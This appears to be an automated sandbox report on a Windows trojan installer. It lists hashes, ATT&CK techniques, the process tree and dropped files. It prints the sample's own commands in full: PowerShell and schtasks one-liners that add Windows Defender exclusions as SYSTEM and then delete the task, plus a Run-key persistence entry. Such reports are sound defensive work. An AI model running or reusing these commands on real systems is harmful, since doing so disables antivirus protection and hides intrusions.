864a386241ae55c2259f4a5f72c77e60eeb5546fcca9d98a62af7640803cc18c

Analysis

max time kernel
147s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/08/2026, 04:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
setup_r8014.exe
Size 40.9MB
Sample260805-e6am5sdd88
SHA256 864a386241ae55c2259f4a5f72c77e60eeb5546fcca9d98a62af7640803cc18c
MD5 7ba83b37eafa1391821a3ea125fe6c77
SHA1 54b1ef4cd0813e82d8bc4740982e1bd6e1bfd4a6
SHA512 c96e39d5d1f94c800373cd7b8f6540c4706eeeb26bcb87bff19a9b2ce1a793e6666e1bd35a5a5aabcb43dc4b6231863571ed90e74f0bd9ad546bb8624309e4b9
SSDEEP 98304:Nuj9nmneNvl8/HgAKaF3CMGQ23dVcL8kxEPja:8Rnmedl8vgAKa1RGQ23dtkSPja
TLSH
T12E97F58FBB42CDC1DA4691F0549BB76023FEFC655BE1C32312D46B21AE9718C8DA35A1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\uiIpYS = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1668	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3028	bbFijV.exe
2384	bbFijV.exe

Loads dropped DLL 2 IoCs

pid	Process
3028	bbFijV.exe
2384	bbFijV.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\uiIpYS\\bbFijV.exe\""	bbFijV.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
6060	cmd.exe
5712	cmd.exe
4848	cmd.exe
2264	cmd.exe
4696	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	bbFijV.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Nhzn2n	bbFijV.exe
File created	C:\Program Files (x86)\Nhzn2n\XPSPLOG.dll	bbFijV.exe
File created	C:\Program Files (x86)\Nhzn2n\image.png	bbFijV.exe
File created	C:\Program Files (x86)\Nhzn2n\thumbs.db	bbFijV.exe
File opened for modification	C:\Program Files (x86)\Nhzn2n\XPSPLOG.dll	bbFijV.exe
File opened for modification	C:\Program Files (x86)\Nhzn2n\thumbs.db	bbFijV.exe
File created	C:\Program Files (x86)\Nhzn2n\t7FlRg.exe	bbFijV.exe
File opened for modification	C:\Program Files (x86)\Nhzn2n\t7FlRg.exe	bbFijV.exe
File opened for modification	C:\Program Files (x86)\Nhzn2n\image.png	bbFijV.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2012	cmd.exe
2960	cmd.exe
464	cmd.exe
1640	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2096	schtasks.exe
2592	schtasks.exe
1592	schtasks.exe
2660	schtasks.exe
1504	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
4164	setup_r8014.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe
3028	bbFijV.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeIncreaseQuotaPrivilege	1668	powershell.exe
Token: SeSecurityPrivilege	1668	powershell.exe
Token: SeTakeOwnershipPrivilege	1668	powershell.exe
Token: SeLoadDriverPrivilege	1668	powershell.exe
Token: SeSystemProfilePrivilege	1668	powershell.exe
Token: SeSystemtimePrivilege	1668	powershell.exe
Token: SeProfSingleProcessPrivilege	1668	powershell.exe
Token: SeIncBasePriorityPrivilege	1668	powershell.exe
Token: SeCreatePagefilePrivilege	1668	powershell.exe
Token: SeBackupPrivilege	1668	powershell.exe
Token: SeRestorePrivilege	1668	powershell.exe
Token: SeShutdownPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeSystemEnvironmentPrivilege	1668	powershell.exe
Token: SeRemoteShutdownPrivilege	1668	powershell.exe
Token: SeUndockPrivilege	1668	powershell.exe
Token: SeManageVolumePrivilege	1668	powershell.exe
Token: 33	1668	powershell.exe
Token: 34	1668	powershell.exe
Token: 35	1668	powershell.exe
Token: 36	1668	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3028 wrote to memory of 1668	3028	bbFijV.exe	92
PID 3028 wrote to memory of 4696	3028	bbFijV.exe	94
PID 4696 wrote to memory of 2660	4696	cmd.exe	96
PID 4696 wrote to memory of 1784	4696	cmd.exe	97
PID 4696 wrote to memory of 1940	4696	cmd.exe	101
PID 3028 wrote to memory of 6060	3028	bbFijV.exe	104
PID 6060 wrote to memory of 1504	6060	cmd.exe	106
PID 6060 wrote to memory of 1968	6060	cmd.exe	107
PID 3028 wrote to memory of 5712	3028	bbFijV.exe	109
PID 6060 wrote to memory of 2020	6060	cmd.exe	111
PID 3028 wrote to memory of 4848	3028	bbFijV.exe	112
PID 5712 wrote to memory of 2096	5712	cmd.exe	114
PID 4848 wrote to memory of 2592	4848	cmd.exe	115
PID 5712 wrote to memory of 4260	5712	cmd.exe	116
PID 5712 wrote to memory of 2676	5712	cmd.exe	118
PID 4848 wrote to memory of 1528	4848	cmd.exe	119
PID 4848 wrote to memory of 3048	4848	cmd.exe	120
PID 3028 wrote to memory of 2264	3028	bbFijV.exe	121
PID 2264 wrote to memory of 1592	2264	cmd.exe	123
PID 2264 wrote to memory of 5808	2264	cmd.exe	124
PID 2264 wrote to memory of 5144	2264	cmd.exe	126
PID 1640 wrote to memory of 2976	1640	cmd.exe	131
PID 464 wrote to memory of 2996	464	cmd.exe	133
PID 2012 wrote to memory of 1596	2012	cmd.exe	132
PID 2960 wrote to memory of 1380	2960	cmd.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\setup_r8014.exe
"C:\Users\Admin\AppData\Local\Temp\setup_r8014.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5964

C:\Users\Public\uiIpYS\bbFijV.exe
"C:\Users\Public\uiIpYS\bbFijV.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\uiIpYS\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4696
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\uiIpYS\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2660
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1784
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:6060
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1504
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1968
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5712
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2096
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4260
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4848
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2592
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1528
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1592
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5808
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5144
- C:\Program Files (x86)\Nhzn2n\t7FlRg.exe
  "C:\Program Files (x86)\Nhzn2n\t7FlRg.exe"
  2⤵
  PID:2352

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\uiIpYS" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1640
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\uiIpYS" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2976

C:\Users\Public\uiIpYS\bbFijV.exe
"C:\Users\Public\uiIpYS\bbFijV.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2384

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3756

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2012
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1596

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2960
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1380

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:464
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2996

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\Nhzn2n\XPSPLOG.dll
Size 4.6MB
SHA256 0440053d6c81342d6bbfe4c5aa798f6040d6e976c78bd892a10ae2bccb0ac22e
MD5 f46ef0b7b1efaab084aa8e3cb31b4eac
SHA1 0a8d1a0219ff531dfc64c156f715d67cc058e3b0
SHA512 b0076c97dff6a9f7b1f4ffd2d880e270b89159641d5c6d5440fc5e9aaf426365ecf6e5221786c7e660494e6c8920722e8eada810836221c43203703748094239
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyd:BMWKfU+BcUTHCCCfqCiUffnd
TLSH
T1E1263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\Nhzn2n\image.png
Size 5.0MB
SHA256 c83b496947bb679730844c9fad7aee5930a93320375aac080d6e8807abe4d314
MD5 86b77f15f3bd267379fb3d42837b980d
SHA1 ecb4ba3faf6a0afc7976fb0a20a078ff13b1b230
SHA512 0f704d2d8ff709c2541353e80ecbfe5e85003dfd8c0300c585510bc58f020417c305b14477ce64d49aa438a02f2572162ff2bae480c6ad341a2427e7f8b09e61
SSDEEP 98304:EqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:g/u21dGs2rOal3UpkiMT59IZVGhW
TLSH
T16B363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

t7FlRg.exe

Path C:\Program Files (x86)\Nhzn2n\t7FlRg.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\Nhzn2n\thumbs.db
Size 358KB
SHA256 2262ed59656d33e8bbf7cef321fa4fdeeea75bbfd739e4b177024d837f1b6a14
MD5 04351ead3537647728c1cf25c05b1070
SHA1 c2e4b65e708ad246afc4ac1f2ba7604f39914d6b
SHA512 9cdd9a015e126c84f471f79792e54e309643c9e232a0a9a1520ff8f1b320de77b07072bf77a1809805819531a9a9fa4e6a94161073ddb55eebe6aff1f655bcb6
SSDEEP 6144:FiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:s8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T16974F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\uiIpYS\UxEnhance64.dll
Size 3.1MB
SHA256 31b36d077866a9cafccb8f54492729505eadf974930301534033c4256ae3a26d
MD5 4cba755c2baee03304f314f4a233f239
SHA1 30732d5d8f4a82b8663f74d9ff019aac60c7d572
SHA512 0305443c37bcc02c0da1e78d9f59cc804b82efb234c59f6685a0531d1a786e8bde5eb50276891a9ffcc3a44d21a23ee92c2890319e6324630ae1a6d52b442b8f
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+k:P9m29xx3Tiqt06ox6+z2rNNrKok
TLSH
T1D5E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\uiIpYS\adoresd.dat
Size 4.7MB
SHA256 4079829cb2071656d514ae06121822f0f6beaae6e0c52214fea77cc151eff011
MD5 6c9c4b971edee4dc9dc3816cf497da56
SHA1 76af4263ec46d2604fdddb0244d898d8405bd966
SHA512 0815487d9c97e50c216209daf72474ffc1b5f7c4497be9a6b66d5402b942ab4ec49bfc7f98bd346c5fb97467f8aa399c74dda1767963ebea118ad7658516916d
SSDEEP 98304:9mu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:Yu1SwOflfZPF6Ma0bsoa5+qd
TLSH
T1073633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bbFijV.exe

Path C:\Users\Public\uiIpYS\bbFijV.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\uiIpYS\msadox.tb
Size 8KB
SHA256 ca86e0bf8667567e67367da9b7a11db464481850f2dfec288c72cfc571b3b335
MD5 8b947eb19e40003589fc448f3bee1837
SHA1 7a5e9c1c28c5f7029cae2a0903f9c74e7ea5f458
SHA512 9b2b02b481cca4b51e0dc3167ad8beafd61caa09a812cd52da0cd37c02743105ff42c7b2c53096d2ea2f0542b046896327c01e1ae39cf8b7526c0f10262c4c8d
SSDEEP 192:oqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:osZqZOXQ3uqvR2Kfzp
TLSH
T17A029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1668-596-0x000002657B390000-0x000002657B3B2000-memory.dmp

Download

memory/1668-599-0x000002657B610000-0x000002657B62E000-memory.dmp

Download

memory/1668-600-0x000002657B630000-0x000002657B6E2000-memory.dmp

Download

memory/1668-601-0x000002657B3F0000-0x000002657B3FA000-memory.dmp

Download

memory/2352-684-0x0000000001190000-0x0000000001191000-memory.dmp

Download

memory/2352-696-0x0000000001550000-0x0000000001564000-memory.dmp

Download

memory/2352-678-0x0000000074D70000-0x00000000754BA000-memory.dmp

Download

memory/2352-682-0x00000000037B0000-0x0000000003FB7000-memory.dmp

Download

memory/2352-677-0x0000000001020000-0x0000000001021000-memory.dmp

Download

memory/2352-686-0x00000000037B0000-0x0000000003FB7000-memory.dmp

Download

memory/2352-689-0x00000000037B0000-0x0000000003FB7000-memory.dmp

Download

memory/2384-582-0x00007FFC82580000-0x00007FFC82582000-memory.dmp

Download

memory/2384-589-0x0000019184400000-0x0000019184C91000-memory.dmp

Download

memory/2384-591-0x00007FFC82570000-0x00007FFC82572000-memory.dmp

Download

memory/2384-590-0x0000019184400000-0x0000019184C91000-memory.dmp

Download

memory/2384-587-0x0000019184400000-0x0000019184C91000-memory.dmp

Download

memory/2384-588-0x0000019184400000-0x0000019184C91000-memory.dmp

Download

memory/2384-583-0x0000019184400000-0x0000019184C91000-memory.dmp

Download

memory/2384-576-0x00007FFC5F920000-0x00007FFC5FE3E000-memory.dmp

Download

memory/2384-578-0x0000019184400000-0x0000019184C91000-memory.dmp

Download

memory/3028-539-0x00007FFC82580000-0x00007FFC82582000-memory.dmp

Download

memory/3028-547-0x000002AC668B0000-0x000002AC67141000-memory.dmp

Download

memory/3028-565-0x000002AC668B0000-0x000002AC67141000-memory.dmp

Download

memory/3028-560-0x000002AC67150000-0x000002AC671DA000-memory.dmp

Download

memory/3028-561-0x000002AC67150000-0x000002AC671DA000-memory.dmp

Download

memory/3028-563-0x000002AC67150000-0x000002AC671DA000-memory.dmp

Download

memory/3028-562-0x000002AC67150000-0x000002AC671DA000-memory.dmp

Download

memory/3028-558-0x000002AC65D90000-0x000002AC65DDE000-memory.dmp

Download

memory/3028-552-0x000002AC668B0000-0x000002AC67141000-memory.dmp

Download

memory/3028-545-0x000002AC668B0000-0x000002AC67141000-memory.dmp

Download

memory/3028-546-0x000002AC668B0000-0x000002AC67141000-memory.dmp

Download

memory/3028-567-0x000002AC668B0000-0x000002AC67141000-memory.dmp

Download

memory/3028-544-0x000002AC668B0000-0x000002AC67141000-memory.dmp

Download

memory/3028-540-0x000002AC668B0000-0x000002AC67141000-memory.dmp

Download

memory/3028-531-0x00007FFC82570000-0x00007FFC82572000-memory.dmp

Download

memory/3028-537-0x000002AC668B0000-0x000002AC67141000-memory.dmp

Download

memory/3028-532-0x00007FFC5F920000-0x00007FFC5FE3E000-memory.dmp

Download

memory/4164-0-0x00000000048C0000-0x00000000048CD000-memory.dmp

Download

memory/4164-526-0x00007FFC77EF0000-0x00007FFC77F02000-memory.dmp

Download

memory/4164-525-0x00000000048C0000-0x00000000048CD000-memory.dmp

Download

memory/4164-503-0x00007FFC77EF0000-0x00007FFC77F02000-memory.dmp

Download

memory/4164-1-0x00000000048D0000-0x00000000048DB000-memory.dmp

Download